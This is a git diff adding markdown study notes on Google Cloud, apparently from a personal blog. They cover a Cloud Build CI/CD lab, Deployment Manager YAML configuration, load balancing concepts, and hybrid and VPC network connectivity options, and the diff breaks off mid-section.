deployment process. + +# clone the hello-cloudbuild-env repository and create the production branch. +# It is still empty. +# In Cloud Shell execute the following command: +cd ~ +gcloud source repos clone hello-cloudbuild-env +cd ~/hello-cloudbuild-env +git checkout -b production + + +# The cloudbuild-delivery.yaml file describes the deployment process to be run in Cloud Build. It has two steps: +# - Cloud Build applies the manifest on the GKE cluster. +# - If successful, Cloud Build copies the manifest on the production branch. +# cloudbuild-delivery.yaml + + +# copy the cloudbuild-delivery.yaml file available in the hello-cloudbuild-app repository and commit the change: +cd ~/hello-cloudbuild-env +cp ~/hello-cloudbuild-app/cloudbuild-delivery.yaml ~/hello-cloudbuild-env/cloudbuild.yaml +git add . +git commit -m "Create cloudbuild.yaml for deployment" + +# Create a candidate branch and push both branches for them to be available in Cloud Source Repositories: +git checkout -b candidate +git push origin production +git push origin candidate + + +# Grant the Source Repository Writer IAM role to the Cloud Build service account for the hello-cloudbuild-env repository: +PROJECT_NUMBER="$(gcloud projects describe ${PROJECT_ID} \ + --format='get(projectNumber)')" + +cat >/tmp/hello-cloudbuild-env-policy.yaml < Triggers. +# Click Create Trigger. +# In the Name field, type hello-cloudbuild-deploy. +# Under Event, select Push to a branch. +# Under Source, select hello-cloudbuild-env as your Repository and ^candidate$ as your Branch. +# Under Build configuration, select Cloud Build configuration file. +# In the Cloud Build configuration file location field, type cloudbuild.yaml after the /. +# For the Service account, use the Compute Engine default service account. +# Click Create. + + + + +# Modify the continuous integration pipeline to trigger the continuous delivery pipeline. +# - add some steps to the continuous integration pipeline that will generate a new version of the Kubernetes manifest and push it to the hello-cloudbuild-env repository to trigger the continuous delivery pipeline. +# Copy the extended version of the cloudbuild.yaml file for the app repository: +cd ~/hello-cloudbuild-app +cp cloudbuild-trigger-cd.yaml cloudbuild.yaml +# The cloudbuild-trigger-cd.yaml is an extended version of the cloudbuild.yaml file. It adds the steps below: they generate the new Kubernetes manifest and trigger the continuous delivery pipeline. + + +# Commit the modifications and push them to Cloud Source Repositories: +cd ~/hello-cloudbuild-app +git add cloudbuild.yaml +git commit -m "Trigger CD pipeline" +git push google master + + + + + +# ========= Task 6. Review Cloud Build Pipeline + +# In the Cloud console, go to Cloud Build > Dashboard. +# Click into the hello-cloudbuild-app trigger to follow its execution and examine its logs. +# The last step of this pipeline pushes the new manifest to the hello-cloudbuild-env repository, which triggers the continuous delivery pipeline. +# Return to the main Dashboard. +# You should see a build running or having recently finished for the hello-cloudbuild-env repository. You can click on the build to follow its execution and examine its logs. + + + + +# ========= Task 7. Test the complete pipeline + +# The complete CI/CD pipeline is now configured. Test it from end to end. + +# In the Cloud console, go to Kubernetes Engine > Gateways,Services & Ingress. +# There should be a single service called hello-cloudbuild in the list. It has been created by the continuous delivery build that just ran. + +# Click on the endpoint for the hello-cloudbuild service. You should see "Hello World!". If there is no endpoint, or if you see a load balancer error, you may have to wait a few minutes for the load balancer to be completely initialized. Click Refresh to update the page if needed. +# App 1 Hello World! + +# In Cloud Shell, replace "Hello World" with "Hello Cloud Build", both in the application and in the unit test: +# Commit and push the change to Cloud Source Repositories: +cd ~/hello-cloudbuild-app +sed -i 's/Hello World/Hello Cloud Build/g' app.py +sed -i 's/Hello World/Hello Cloud Build/g' test_app.py + +git add app.py test_app.py +git commit -m "Hello Cloud Build" +git push google master + + +# This triggers the full CI/CD pipeline. +# After a few minutes, reload the application in your browser. You should now see "Hello Cloud Build!". + + +# ========= Task 8. Test the rollback + +# In this task, you rollback to the version of the application that said "Hello World!". + +# In the Cloud console, go to Cloud Build > Dashboard. +# Click on View all link under Build History for the hello-cloudbuild-env repository. +# Click on the second most recent build available. +# Click Rebuild. +# Rollback success screen + +# When the build is finished, reload the application in your browser. You should now see "Hello World!" again. + +# When the build is finished, reload the application in your browser. You should now see "Hello World!" again. + +``` diff --git a/_posts/01Cloud/01GCP/IaC/2021-01-01-DeploymentManager.md b/_posts/01Cloud/01GCP/IaC/2021-01-01-DeploymentManager.md new file mode 100644 index 00000000000..43bf6b732b6 --- /dev/null +++ b/_posts/01Cloud/01GCP/IaC/2021-01-01-DeploymentManager.md @@ -0,0 +1,352 @@ +--- +title: GCP - Google Cloud Deployment Manager +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, IaC] +tags: [GCP] +toc: true +image: +--- + +- [Google Cloud Deployment Manager](#google-cloud-deployment-manager) + - [Overview](#overview) + - [command](#command) + - [configuration](#configuration) + - [Dependencies `metadata.dependsOn`](#dependencies-metadatadependson) + - [Outputs `outputs`](#outputs-outputs) + - [Declaring output](#declaring-output) + - [Using outputs from templates](#using-outputs-from-templates) + - [Output description](#output-description) + - [output finalValue](#output-finalvalue) + - [Avoid circular dependencies](#avoid-circular-dependencies) + + +# Google Cloud Deployment Manager + + +## Overview + + +## command + +```bash +gcloud deployment-manager deployments create my-deployment --config vm.yaml + +gcloud deployment-manager deployments describe my-deployment + +gcloud deployment-manager deployments delete my-deployment +``` + + +## configuration + +Output values can be: +- A static string +- A reference to a property +- A template property +- An environment variable + + + +```yaml +# Copyright 2016 Google Inc. All rights reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + +# Put all your resources under `resources:`. For each resource, you need: +# - The type of resource. In this example, the type is a Compute VM instance. +# - An internal name for the resource. +# - The properties for the resource. In this example, for VM instances, you add +# the machine type, a boot disk, network information, and so on. +# +# For a list of supported resources, +# see https://cloud.google.com/deployment-manager/docs/configuration/supported-resource-types. +resources: +- type: compute.v1.instance + name: quickstart-deployment-vm + properties: + # The properties of the resource depend on the type of resource. For a list + # of properties, see the API reference for the resource. + zone: us-central1-f + # Replace [MY_PROJECT] with your project ID + machineType: https://www.googleapis.com/compute/v1/projects/[MY_PROJECT]/zones/us-central1-f/machineTypes/f1-micro + disks: + - deviceName: boot + type: PERSISTENT + boot: true + autoDelete: true + initializeParams: + # See a full list of image families at https://cloud.google.com/compute/docs/images#os-compute-support + # The format of the sourceImage URL is: https://www.googleapis.com/compute/v1/projects/[IMAGE_PROJECT]/global/images/family/[FAMILY_NAME] + sourceImage: https://www.googleapis.com/compute/v1/projects/debian-cloud/global/images/family/debian-11 + # Replace [MY_PROJECT] with your project ID + networkInterfaces: + - network: https://www.googleapis.com/compute/v1/projects/[MY_PROJECT]/global/networks/default + # Access Config required to give the instance a public IP address + accessConfigs: + - name: External NAT + type: ONE_TO_ONE_NAT +``` +--- + +### Dependencies `metadata.dependsOn` + + +- To add a dependency to a resource, add a metadata section that contains a dependsOn section. Then, in the dependsOn section, specify one or more dependencies. +- In the same deployment, you must define the persistent disks that are dependencies. + + +```yaml +# to make a-special-vm dependent on the creation of two persistent disks +# - add the metadata and dependsOn sections for a-special-vm. +# - add the dependencies for each persistent disk. + +resources: +- name: a-special-vm + type: compute.v1.instances + properties: + ... + metadata: + dependsOn: + - persistent-disk-a + - persistent-disk-b + +- name: persistent-disk-a + type: compute.v1.disks + properties: + ... + +- name: persistent-disk-b + type: compute.v1.disks + properties: + ... +``` + +In this deployment, Deployment Manager creates persistent-disk-a and persistent-disk-b before creating a-special-vm. + +> Warning: Avoid creating dependency loops. For example, if you specify that resource A depends on resource B, and resource B depends on resource A, a dependency loop is created, and the deployment fails. Additionally, if you use references in your deployment, implicit dependencies are created, which might also cause dependency loops. + + + +--- + +### Outputs `outputs` + + +#### Declaring output + + +```yaml +resources: +- name: my-first-vm + type: compute.v1.instance + properties: + zone: us-central1-a + machineType: zones/us-central1-a/machineTypes/{{ properties['machineType'] }} + disks: + - deviceName: boot + type: PERSISTENT + boot: true + autoDelete: true + initializeParams: + sourceImage: projects/debian-cloud/global/images/family/debian-11 + networkInterfaces: + - network: global/networks/default + accessConfigs: + - name: External NAT + type: ONE_TO_ONE_NAT + +outputs: +- name: databaseIp + value: $(ref.my-first-vm.networkInterfaces[0].accessConfigs[0].natIP) +- name: machineType + value: {{ properties['machineType'] }} +- name: databasePort + value: 88 + +# The outputs section declares two properties: databaseIp and databasePort. +# databaseIp uses a reference that resolves to the network IP address of the master resource, +# databasePort is a static value. +``` + + +#### Using outputs from templates + +- In another template, import mongodb.jinja, use the template as a type, and call the outputs. +- To call an output, use: `$(ref.RESOURCE.OUTPUT)` + +```yaml +imports: +- path: template_with_outputs.jinja + name: template.jinja + +resources: +- name: my-first-vm + type: template.jinja + properties: + machineType: n1-standard-1 + +outputs: +- name: databaseIp + value: $(ref.my-first-vm.databaseIp) +- name: machineType + value: $(ref.my-first-vm.machineType) +- name: databasePort + value: $(ref.my-first-vm.databasePort) +``` + +#### Output description + +- Describing outputs in schemas +- For templates that have accompanying schemas, you can describe output properties in further details. Deployment Manager does not enforce or validate any information in the outputs section but it is potentially helpful to use this section to provide more information about relevant outputs, for the benefit of users using your templates. + +```yaml +... +outputs: + databaseIp: + description: Reference to ip address of your new cluster + type: string + databasePort: + description: Port to talk on + type: integer +``` + +#### output finalValue + +- view the final output values in the configuration `layout` of the deployment. +- Final output values are indicated by the `finalValue` property. +- All output values are included in this field, including output values from nested templates. + +```yaml +layout: | + resources: + - name: vm_template + outputs: + - finalValue: 104.197.69.69 + name: databaseIp + value: $(ref.vm-test.networkInterfaces[0].accessConfigs[0].natIP) + properties: + zone: us-central1-a + resources: + - name: datadisk-example-instance + type: compute.v1.disk + - name: vm-test + type: compute.v1.instance + type: vm_template.jinja +name: manifest-1455057116997 +``` + + + +#### Avoid circular dependencies + +- Be careful when creating templates where two or more resources rely on outputs from each other. +- Deployment Manager does not prevent this structure but if the outputs caused a circular dependency, the deployment won't deploy successfully. + + +> For example, the following snippet is accepted by Deployment Manager but if the contents of the templates causes a circular dependency, the deployment would fail: + +```yaml +resources: +- name: frontend + type: frontend.jinja + properties: + ip: $(ref.backend.ip) +- name: backend + type: backend.jinja + properties: + ip: $(ref.frontend.ip) + +# assume both frontend.jinja and backend.jinja +resources: +- name: {{ env['name'] }} + type: compute.v1.instance + properties: + zone: us-central1-f + ... + networkInterfaces: + - network: global/networks/default + accessConfigs: + - name: External NAT + type: ONE_TO_ONE_NAT + metadata: + items: + - key: startup-script + value: | + #!/bin/bash + export IP={{ properties["ip"] }} + ... +outputs: +- name: ip + value: $(ref.{{ env['name'] }}.networkInterfaces[0].accessConfigs[0].natIP) +``` + +- both resources used the IP output property from the opposing resource +- But neither IP values can be populated because both properties rely on the existence of the other resource, creating a circular dependency. + +```yaml +resources: +- name: frontend + type: compute.v1.instance + properties: + zone: us-central1-f + ... + networkInterfaces: + - network: global/networks/default + accessConfigs: + - name: External NAT + type: ONE_TO_ONE_NAT + metadata: + items: + - key: startup-script + value: | + #!/bin/bash + export IP=$(ref.backend.networkInterfaces[0].accessConfigs[0].natIP) +- name: backend + type: compute.v1.instance + properties: + zone: us-central1-f + ... + networkInterfaces: + - network: global/networks/default + accessConfigs: + - name: External NAT + type: ONE_TO_ONE_NAT + metadata: + items: + - key: startup-script + value: | + #!/bin/bash + export IP=$(ref.frontend.networkInterfaces[0].accessConfigs[0].natIP) +``` + + +- Deployment Manager returns an error if you try to run configuration: + +```bash +code: u'CONDITION_NOT_MET' +message: u'A dependency cycle was found amongst backend, frontend.'>]> +``` + + +- However, this template would work if: + - `frontend.jinja` created two virtual machine instances, vm-1 and vm-2. + - `backend.jinja` created vm-3 and vm-4. + - `vm-1` exposed it's external IP as an output and `vm-4` used that output. + - `vm-3` exposed an external IP as an output, `vm-2` used that output. + + + + + +. diff --git a/_posts/01Cloud/01GCP/Network/2021-01-01-Cloud-loadbalance.md b/_posts/01Cloud/01GCP/Network/2021-01-01-Cloud-loadbalance.md new file mode 100644 index 00000000000..1da22c03d94 --- /dev/null +++ b/_posts/01Cloud/01GCP/Network/2021-01-01-Cloud-loadbalance.md @@ -0,0 +1,176 @@ +--- +title: GCP - Cloud Load balance +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, GCPNetwork] +tags: [GCP] +toc: true +image: +--- + +- [Cloud Load balance](#cloud-load-balance) + - [overview](#overview) + - [global load balancers](#global-load-balancers) + - [regional load balancers](#regional-load-balancers) + - [managed instance group](#managed-instance-group) + - [autoscaling and health checks](#autoscaling-and-health-checks) + - [health check](#health-check) + - [HTTP(S) load balancing](#https-load-balancing) + - [architecture](#architecture) + + +--- + + +# Cloud Load balance + + +![Screen Shot 2021-07-31 at 1.50.06 AM](https://i.imgur.com/FuGbPf6.png) + +- Cloud load balancing gives you the ability to distribute load balanced compute resources, in single or multiple regions to meet the high availability requirements. +- put the resources behind a single anycast iP address, +- scale the resources up or down with intelligent autoscaling. +- serve content as close as possible to the users on a system that can respond to over one million queries per second. + +Cloud load balancing +- a fully distributed software to find managed service. +- not instance or device based, so you do not need to manage a physical load balancing infrastructure. + + +## overview + +### global load balancers + +- HTTP/HTTP(s), SSL proxy, and TCP proxy load balancers. +- These load balancers leveraged the Google front ends, which are software defined distributed systems that sit in Google's point of presence, and are distributed globally. +- use a global load balancer when + - the users and instances are globally distributed, + - the users need access to the same application and content + - you want to provide access using a single anycast iP address. + + +### regional load balancers + +- internal and network load balancers + - distribute traffic to instances that are in a single GCP region. + - The internal load balancer uses Andromeda, which is GCP's software defined network virtualization stack. + - And the network load balancer uses Maglev, which is a large distributed software system. +- Internal load balancer HTTPs traffic. + - proxy based regional layer seven load balancer + - enables you to run and scale the services behind a private load balancing iP address that is accessible only in the load balancers region, in the VPC network. + +--- + + +### managed instance group + +- a collection of identical VM instances control as a single entity using an instance template. +- can easily update all the instances in the group by specifying a new template in a rolling update. +- Also, when applications require additional compute resources, managed instance groups can scale automatically to the number of instances in the group. +- Managed instance groups can work with load balancing services to distribute network traffic to all of the instances in the group. +- If an instance in the group stops, crushes, or is deleted by an action other than the instance group's commands, the managed instance group automatically recreates the instance so it can resume its processing tasks. + - The recreated instance uses the same name and the same instance template as the previous instance. +- Managed instance groups can automatically identify and recreate unhealthy instances in a group to ensure that all instances are running optimally. +- **Regional managed instance groups** are generally recommended over **zonal managed instance groups** because they allow you to `spread the application load across multiple zones` instead of confining application to a single zone or having you manage multiple instance groups across different zones. + - This replication protects against zonal failures and unforeseen scenarios where an entire group of instances in a single zone malfunctions. + - If that happens, application can continue serving traffic from instances running in another zone in the same region. + +- to create a managed instance group + - create an `instance template` + - create a managed instance group of N specified instances. + - The instance group manager then automatically populates the instance group based on the instance template. + - define the specific rules for that instance group. + - decide what type of managed instance group you want to create. + - You can use managed instance groups for + - stateless serving or batch workloads, such as website front-end or image processing from a queue, + - or for stateful applications, such as databases or legacy applications. + - provide a name for the instance group + - decide whether the instance group is going to be single or multi-zoned and where those locations will be. + - optionally provide port name mapping details. + - select the instance template + - decide auto-scale and under what circumstances. + - creating a health check to determine which instances are healthy and should receive traffic. Essentially, you're creating virtual machines, but you're applying more rules to that instance group. + + + +### autoscaling and health checks + +managed instance groups offer autoscaling capabilities +- automatically add or remove instances from a **managed instance group** based on increase or decrease in load. +- Autoscaling helps applications gracefully handle increase in traffic and reduces cost when the need for resource is lower. +- define the autoscaling policy, and the autoscaler performs automatic scaling based on the measured load. +- Applicable autoscaling policies include scaling based on `CPU utilization, load balancing capacity, or monitoring metrics, or by a queue-based workload` like Cloud Pub/Sub. +- if the overall load is much lower than the target, the autoscaler will remove instances as long as that keeps the overall utilization below the target. + + +### health check + +- similar to an Uptime check in Stackdriver. +- just define a protocol, port, and health criteria +- Based on this configuration, GCP computes a health state for each instance. +- The health criteria defines how often to check whether an instance is healthy. That's the check interval. How long to wait for a response? That's the timeout. How many successful attempts are decisive? That's the healthy threshold. How many failed attempts are decisive? That the unhealthy threshold. +- In the example on this slide, the health check would have to fill twice over a total of 15 seconds before an instance is considered unhealthy. + + +--- + + +## HTTP(S) load balancing + +- acts at layer seven of the OSI model. application layer + - deals with the actual content of each message + - allowing for routing decisions based on the URL. +- GCP HTTPS load balancing provides **global load balancing** for HTTPS requests destined for the instances. +- This means that the applications are available to the customers at a single anycast IP address, which simplifies the DNS setup. +- HTTPS load balancing balances `HTTP and HTTPS traffic` across multiple backend instances and across multiple regions. + - HTTP requests are load balanced on port 80 or 8080, + - HTTPS requests are load balanced on port 443. +- This load balancers supports both IPv4 and IPv6 clients, +- scalable, requires no pre-warming, +- enables content-based and cross-regional load balancing. +- configure own maps that route some URLs to one set of instances and route other URLs to other instances. +- Requests are generally routed to the instance group that is closest to the user. +- If the closest instance group does not have sufficient capacity, the request is sent to the next closest instance group that does have the capacity. + + +### architecture + +- A **Global Forwarding Rule** direct incoming requests from the Internet to a target **HTTP proxy**. +- The target HTTP proxy checks each request against a `URL map` to determine the appropriate **backend service** for the request. +- For example, + - send requests for www.example.com/audio to one backend service, which contains instances configured to deliver audio files, + - send request for www.example.com/video to another backend service which contains instances configured to deliver video files. +- The **backend service** directs each request to an appropriate **backend** based on solving capacity zone and instance held of its attached backends. +- **The backend services** contain `a health check, session affinity, a timeout setting, and one or more backends.` + - A health check + - pulls instances attached to the backend service at configured intervals. + - Instances that pass the health check are allowed to receive new requests. + - Unhealthy instances are not sent requests until they are healthy again. + - session affinity + - Normally, HTTPS load balancing uses a **round robin algorithm** to distribute requests among available instances. + - This can be overridden with session affinity. + - Session affinity attempts to send all requests from the same client to the same Virtual Machine Instance. + - timeout setting + - Backend services also have a timeout setting, 30 sec by default. + - the amount of time the backend service will wait on the backend before considering the request a failure. + - This is a fixed timeout not an idle timeout. + - If you require longer lived connections, set this value appropriately. +- **The backends** themselves contain an instance group, a balancing mode, and a capacity scalar. + - An instance group + - contains Virtual Machine Instances. + - may be a `managed instance group with or without autoscaling` or an `unmanaged instance group`. + - A balancing mode + - tells the load balancing system how to determine when the backend is at full usage. + - based on `CPU utilization` or `requests per second`. + - If older backends for the backend service in a region are at the full usage, new requests are automatically routed to the nearest region that can still handle requests. + - A capacity setting + - an additional control that interacts with the balancing mode setting. + - For example, + - want the instances to operate at a maximum of 80% CPU utilization, you would set the balancing mode to 80% CPU utilization and the capacity to 100%. + - to cut instance utilization in half, leave the balancing mode at 80% CPU utilization and set capacity to 50%. + + + + + + +。 diff --git a/_posts/01Cloud/01GCP/Network/2021-01-01-GCP-Network-connection.md b/_posts/01Cloud/01GCP/Network/2021-01-01-GCP-Network-connection.md new file mode 100644 index 00000000000..30e52ad1eb5 --- /dev/null +++ b/_posts/01Cloud/01GCP/Network/2021-01-01-GCP-Network-connection.md @@ -0,0 +1,399 @@ +--- +title: GCP - Network connection +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, GCPNetwork] +tags: [GCP] +toc: true +image: +--- + +- [Hybrid cloud and VPC connection](#hybrid-cloud-and-vpc-connection) + - [VPC connection](#vpc-connection) + - [Shared VPC](#shared-vpc) + - [VPC Network Peering](#vpc-network-peering) + - [Hybrid cloud connection](#hybrid-cloud-connection) + - [Virtual Private Network](#virtual-private-network) + - [Direct Peering](#direct-peering) + - [Dedicated Interconnect](#dedicated-interconnect) + - [Private Google Access](#private-google-access) +- [GCP -Cloud Interconnect and Peering](#gcp--cloud-interconnect-and-peering) + - [Layer three connections: VPN](#layer-three-connections-vpn) + - [1. Cloud VPN](#1-cloud-vpn) + - [Cloud VPN gateway](#cloud-vpn-gateway) + - [Classic VPN](#classic-vpn) + - [dynamic routes](#dynamic-routes) + - [HA VPN. Alternative Cloud VPN Gateway](#ha-vpn-alternative-cloud-vpn-gateway) + - [Layer three connections: Peering](#layer-three-connections-peering) + - [2. Direct Peering](#2-direct-peering) + - [3. Carrier Peering](#3-carrier-peering) + - [Layer two connections: Dedicated and Partner Interconnect](#layer-two-connections-dedicated-and-partner-interconnect) + - [IPsec VPN tunnels](#ipsec-vpn-tunnels) + - [4. Dedicated Interconnect](#4-dedicated-interconnect) + - [5. Partner Interconnect](#5-partner-interconnect) + - [5. Cross-Cloud Interconnect](#5-cross-cloud-interconnect) + + +--- + + +# Hybrid cloud and VPC connection + +> VPCs belong to GCP projects +> if the company has several GCP projects and the VPCs need to talk to each other + +VPC sharing and peering + +![Screenshot 2024-08-07 at 11.56.14](/assets/img/Screenshot%202024-08-07%20at%2011.56.14.png) + +--- + +## VPC connection + +![Screen Shot 2021-07-31 at 1.42.24 AM](https://i.imgur.com/WT7fKCM.png) + +![Screen Shot 2021-07-31 at 1.43.32 AM](https://i.imgur.com/Lne7UHT.png) + +### Shared VPC + +- to share a VPC network, or individual subnets, with other GCP projects + - share a VPC network from one project (called a host project) to other projects in the Google Cloud organization. + +- to use the full power of IAM + - control who and what in one project can interact with a VPC in another + - grant access to entire Shared VPC networks or select subnets by **specific IAM permissions**. + - provide centralized control over a common network while maintaining organizational flexibility. + - Shared VPC is especially useful in large organizations. + +### VPC Network Peering + +- peering relationship between two VPCs to exchange traffic + +- to interconnect networks in GCP projects + +- VPC Network Peering lets you build **software as a service (SaaS)** ecosystems in Google Cloud, making services available **privately across** different VPC networks, whether the networks are in the same project, different projects, or projects in different organizations. + +- With VPC Network Peering, all communication happens by using internal IP addresses. + - Subject to firewall rules, VM instances in each peered network can communicate with one another without using external IP addresses. + +- Peered networks `automatically exchange subnet routes for private IP address ranges`. + - VPC Network Peering lets you configure whether the following types of routes are exchanged: + - Subnet routes for privately re-used public IP ranges + - Custom static and dynamic routes + +- Network administration for each peered network is unchanged: + - IAM policies are never exchanged by VPC Network Peering. + - For example, Network and Security Admins for one VPC network do not automatically get those roles for the peered network. + +--- + +## Hybrid cloud connection + +![Screen Shot 2021-02-03 at 20.38.04](https://i.imgur.com/pcVgd0Y.png) +- interconnect their networks to Google VPCs + - such as on-premises networks or their networks in other clouds. + +### Virtual Private Network + +- connect the VPC network to the physical, on-premises network or another cloud provider by using a secure **virtual private network**. + +- Virtual Private Network connection over the internet using the IPSEC protocol. +- Cloud Router + - simple way to let a VPN into Google VPC continue to work in spite of routing changes, + - Cloud Router lets their networks and the Google VPC exchange route information over the VPN using the Border Gateway Protocol. + - example + - add a new subnet to the Google VPC, + - the on-premises network will automatically get routes to it. + +### Direct Peering +- don't want to use the internet + - either because of security concerns or need more reliable bandwidth. +- peering with Google using Direct Peering. +- putting a router in the same public data center as a Google point of presence and exchanging traffic. +- Google has more than 100 points of presence around the world. +- Customers who aren't already in a point of presence can contract with a partner in the carrier peering program to get connected. +- One downside: + - it isn't covered by a Google service level agreement. + - Customers who want the highest uptimes for their interconnection with Google should use Dedicated Interconnect +- If these connections have topologies that meet Google's specifications, they can be covered by up to a 99.99 percent SLA. +- These connections can be backed up by a VPN for even greater reliability. + +### Dedicated Interconnect +- customers get one or more direct private connections to Google. +- highest uptimes for their interconnection with Google +- connect the VPC network to the on-premises network by using a high speed physical connection. + +### Private Google Access + +enable **Private Google Access** for a subnet +- instances in a subnet of a VPC network can communicate with **Google APIs and services** by using private IP addresses instead of external IP addresses. + +--- + +# GCP -Cloud Interconnect and Peering + +![Screen Shot 2022-08-15 at 00.24.46](https://i.imgur.com/sBbiUs9.png) + +![Screen Shot 2022-08-15 at 00.24.55](https://i.imgur.com/ikiYBca.jpg) + +![Screen Shot 2022-08-15 at 00.25.05](https://i.imgur.com/gFb0cHL.png) + +![Screen Shot 2022-08-15 at 00.25.30](https://i.imgur.com/j1FEI7v.jpg) + +![Screen Shot 2022-08-15 at 00.25.45](https://i.imgur.com/Qu3FE9e.png) + + +different Cloud Interconnect and Peering services available to connect the infrastructure to Google's network. +- Direct Peering, Carrier Peering, Dedicated Interconnect, and Partner Interconnect . + +- Cloud VPN + - Google also offers its own Virtual Private Network service + - uses the public Internet + - but traffic is encrypted and provides access to internal IP addresses. + - Cloud VPN is a useful addition to Direct Peering and Carrier Peering. + +- Dedicated connections + - provide a direct connection to Google's network. + +- shared connections + - provide a connection to Google's network through a partner. + +- Layer two connections + - use a VLAN that pipes directly into the GCP environment, providing connectivity to internal IP addresses in the RFC 1918 address space. + +- Layer three connections + - provide access to G Suite services, YouTube and Google Cloud APIs using public IP addresses. + +![Screenshot 2024-08-07 at 12.48.49](/assets/img/Screenshot%202024-08-07%20at%2012.48.49.png) + +![Screen Shot 2021-07-31 at 1.38.32 AM](https://i.imgur.com/jT3nmfU.png) + +![Screen Shot 2021-07-31 at 1.39.39 AM](https://i.imgur.com/mVa1yoW.png) +xcd0opAKI + +--- + +## Layer three connections: VPN + +### 1. Cloud VPN + +![Screenshot 2024-08-07 at 12.45.08](/assets/img/Screenshot%202024-08-07%20at%2012.45.08.png) + +- securely connects the on-premise network to the GCP VPC network through an **IPSec VPN tunnel**. +- Traffic traveling between the two networks is encrypted by one VPN gateway. Then decrypted by the other VPN gateway. + - protects the data as it travels over the public internet. + - That's why Cloud VPN is useful for low volume data connections. +- managed service, SLA of `99.9%` service availability +- supports site to site VPN static and dynamic routes, and IKEv1 and IKEv2 ciphers. +- Cloud VPN doesn't support new cases where a client computers need to dial in to a VPN using client VPN software. +- Also, dynamic routes are configured with **Cloud Router** + + +![Screen Shot 2021-07-31 at 12.16.33 AM](https://i.imgur.com/GK97AFt.png) + +a VPN connection between the `VPC `and `on-premise network`. +- the VPC network has subnets in US-east one and US-west one. + - With GCP resources in each of those regions. + - These resources are able to communicate using internal IP addresses\ + - routing within a network is automatically configured, as that firewall rules allow it. +- to connect to the on-premise network and its resources + - configure the `Cloud VPN gateway`, `on-premise VPN gateway` and to `VPN tunnels`. + +- The Cloud VPN gateway + - a regional resource, uses **regional external IP address**. +- the on-premise VPN gateway + - can be a physical device in the data center or a physical or software based VPN offering in another Cloud providers network. + - This VPN gateway also has an **external IP address**. +- A VPN tunnel + - A VPN tunnel then connects the VPN gateways + - and serves as the virtual medium through which encrypted traffic is passed. + - to create a connection between two VPN gateways, two VPN tunnels is needed. + - Each tunnel defines the connection from the perspective of its gateway and traffic can only pass when the pair of tunnels established. + +- Now, one thing to remember when using Cloud VPN is that the maximum transmission unit, MTU for the **on-premises VPN gateway** cannot be greater than `1,460 bytes`. + - because of the encryption and encapsulation of packets. + +--- + +#### Cloud VPN gateway + +| Classic VPN | High-availability (HA) VPN | +| ------------------------------------------- | -------------------------------------------- | +| Supports dynamic routing and static routing | Supports dynamic routing (BGP) only | +| No high availability | high availability (99.99 SLA, within region) | + + +### Classic VPN + +- support static and dynamic routes. + +#### dynamic routes + +> need to configure **Cloud Router**. + +Cloud Router +- manage routes from Cloud VPN tunnel using border gateway protocol, BGP . + - routing method + - allows for routes to be updated and exchanged without changing the tunnel configuration. + + +For example + +![Screen Shot 2021-07-31 at 12.25.57 AM](https://i.imgur.com/l8jfnFD.png) + +- two different regional subnets in a VPC network +- The on-premise network has 29 subnets +- the two networks are connected through `Cloud VPN tunnels`. + +To automatically propagate network configuration +- changes the VPN tunnel uses **Cloud Router** to establish a `BGP session` between the VPC and the on-premise VPN gateway which must support BGP. +- The new subnets are then seamlessly advertised between networks. +- This means that instances in the new subnets can start sending and receiving traffic immediately +- To set up BGP + - an additional IP address has to be assigned to each end of the VPN tunnel. + - These two IP addresses must be link-local IP addresses Belonging to the IP address range `169.254.0.0/16` + - These addresses are not part of IP address space of either network + - are used exclusively for establishing a BGP session. + + + +### HA VPN. Alternative Cloud VPN Gateway + +- a high availability Cloud VPN solution +- securely connect the on-premises network to the Virtual Private Cloud (VPC) network through an `IPsec VPN connection` in a **single region** +- HA VPN provides an SLA of `99.99%` service availability. + + +--- + +## Layer three connections: Peering + +Direct Peering and Carrier Peering + +![Screen Shot 2021-07-31 at 1.37.19 AM](https://i.imgur.com/J4DCgJg.png) + +- all provide **public IP address access** to all of Google's services. +- The main differences are capacity and the requirements for using a service. +- Direct Peering has a capacity of 10 Gbps per link and requires you to have a connection in a GCP edge point of presence. +- Carrier Peerings, capacity and requirements depending on the service provider that you work with. + + +### 2. Direct Peering + +![Screenshot 2024-08-07 at 12.46.51](/assets/img/Screenshot%202024-08-07%20at%2012.46.51.png) + +- useful when you require access to Google and Google cloud properties. +- Google allows you to establish a direct peering connection between the business network and Google's. +- will be able to exchange internet traffic between the network and Google 's at one of the Googles broad reaching edge network locations. + +- Direct Peering + - exchanging BGP route between Google and peering entity. + - use it to reach all the Google services, including the full suite of Google cloud platform products. + - does not have an SLA . + +- In order to use direct peering + - need to satisfy the peering requirements + - GPS edge `Points of Presence` or PoPs are where Google's network connects to the rest of the internet via peering. + - PoPs are present on over 90 Internet exchanges and at over 100 interconnection facilities around the world. + +### 3. Carrier Peering + +![Screenshot 2024-08-07 at 12.47.20](/assets/img/Screenshot%202024-08-07%20at%2012.47.20.png) + +- nowhere near one of these locations, consider Carrier Peering. + +- If you require access to Google public infrastructure and cannot satisfy Google's peering requirements, you can connect with a `Carrier Peering partner`. + +- Work directly with the service provider to get the connection you need and to understand the partners requirements. + +- does not have an SLA . + +--- + + +## Layer two connections: Dedicated and Partner Interconnect + +Dedicated and Partner Interconnect + + +![Screen Shot 2021-07-31 at 1.25.49 AM](https://i.imgur.com/EfgjzSu.png) + +- All of these options provide **internal IP address access** between resources in the on-premise network and in the VPC network. +- The main differences are the connection capacity and the requirements for using a service. + + +#### IPsec VPN tunnels + +- IPsec VPN tunnels + - Cloud VPN offers + - capacity of 1.5-3 Gbps per tunnel + - require a VPN device on the on-premise network. + - The 1.5 Gbps capacity applies to the traffic that traverses the public Internet, and the 3 Gbps capacity applies to the traffic that is traversing a direct peering link. + - can configure multiple tunnels if you want to scale this capacity. + + +#### 4. Dedicated Interconnect + +![Screenshot 2024-08-07 at 12.47.47](/assets/img/Screenshot%202024-08-07%20at%2012.47.47.png) + +![Screen Shot 2021-07-31 at 1.16.20 AM](https://i.imgur.com/DIbFWPL.png) + +- Dedicated Interconnect + - capacity of 10 Gbps per link + - 